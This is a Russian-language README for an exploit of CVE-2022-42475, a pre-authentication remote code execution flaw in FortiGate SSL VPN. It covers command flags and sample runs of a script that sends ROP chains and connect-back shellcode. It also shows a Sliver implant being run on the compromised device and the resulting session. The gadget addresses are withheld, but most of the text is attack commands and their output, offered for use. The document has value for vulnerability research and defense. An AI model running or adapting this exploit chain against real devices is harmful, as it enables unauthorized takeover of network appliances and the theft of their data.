
Эксплойт для CVE-2022-42475, нацеленный на FortiGate SSL VPN с режимом только проверки, выполнением ROP-цепочек и shellcode обратного подключения для удаленного выполнения кода и развертывания бинарного файла.
Это эксплойт для записи в блоге здесь: https://bishopfox.com/blog/exploit-cve-2022-42475
Эта версия эксплойта не будет работать без того, чтобы вы, хакер, предоставили необходимые адреса памяти для ROP-гаджетов и т. д. Работа по определению этих данных является конфиденциальной и собственностью Bishop Fox, и я не буду (не могу) публиковать её вместе с этим эксплойтом. Надеюсь, вы понимаете!
execve(binary_file).Примечание: В настоящее время режим «только проверка» работает со всеми известными версиями FortiOS. Однако эксплойты работают только против FortiOS 6.0.4 на оборудовании 100D. Я больше не работаю в BF и поэтому не могу опубликовать расширенный эксплойт, поддерживающий, например, 18k целей.
pip3 install PyCrypto
pip3 install pycryptodome
Это не будет пытаться использовать уязвимость, а вместо этого вызовет её как сбой (удалённый демон SSL VPN перезапускается автоматически и немедленно). Сбой обнаруживается эвристически и сообщается оператору.
Запустите его с флагом -v для проверки:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE
Это запустит уязвимость, развернёт ROP-цепочку и перейдёт к shellcode. Shellcode является безвредным и работает следующим образом:
0xbf/tmp/x на устройстве FortiGate0xbf эксплойту, если расшифровка payload прошла успешноФлаги:
-t целевой хост/IP
-p целевой порт
-e режим эксплойта
-c режим только connect-back
-H и -P IP:port оператора (обязательно)
-s версия ПО FortiOS (обязательно)
-m аппаратная модель, на которой работает FortiOS
-d включить отладку
Пример, где мы выбираем версию ПО 6.0.4 и модель устройства 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!
Если опустить -m для выбора аппаратной модели, эксплойт будет подбирать все аппаратные цели для указанной версии ПО.
0xbf/tmp/x0xbf эксплойтуexecve("/tmp/x")Флаги:
-t целевой хост/IP
-p целевой порт
-e режим эксплойта
-f filename /путь/к/бинарному/файлу/для/execve/на/цели
-H и -P IP:port оператора для connect-back (обязательно)
-s версия ПО FortiOS (обязательно)
-m аппаратная модель, на которой работает FortiOS
-d включить отладку
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
Эксплойт:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.
И обратно в Sliver:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
Обратите внимание, что Sliver возвращает <err>, потому что FortiOS — это в некотором роде Linux, но не всегда работает так, как ожидается. Это проблема FortiOS, а не Sliver.
Я больше не работаю в Bishop Fox, поэтому за обновлениями вам нужно следить на GitHub BF.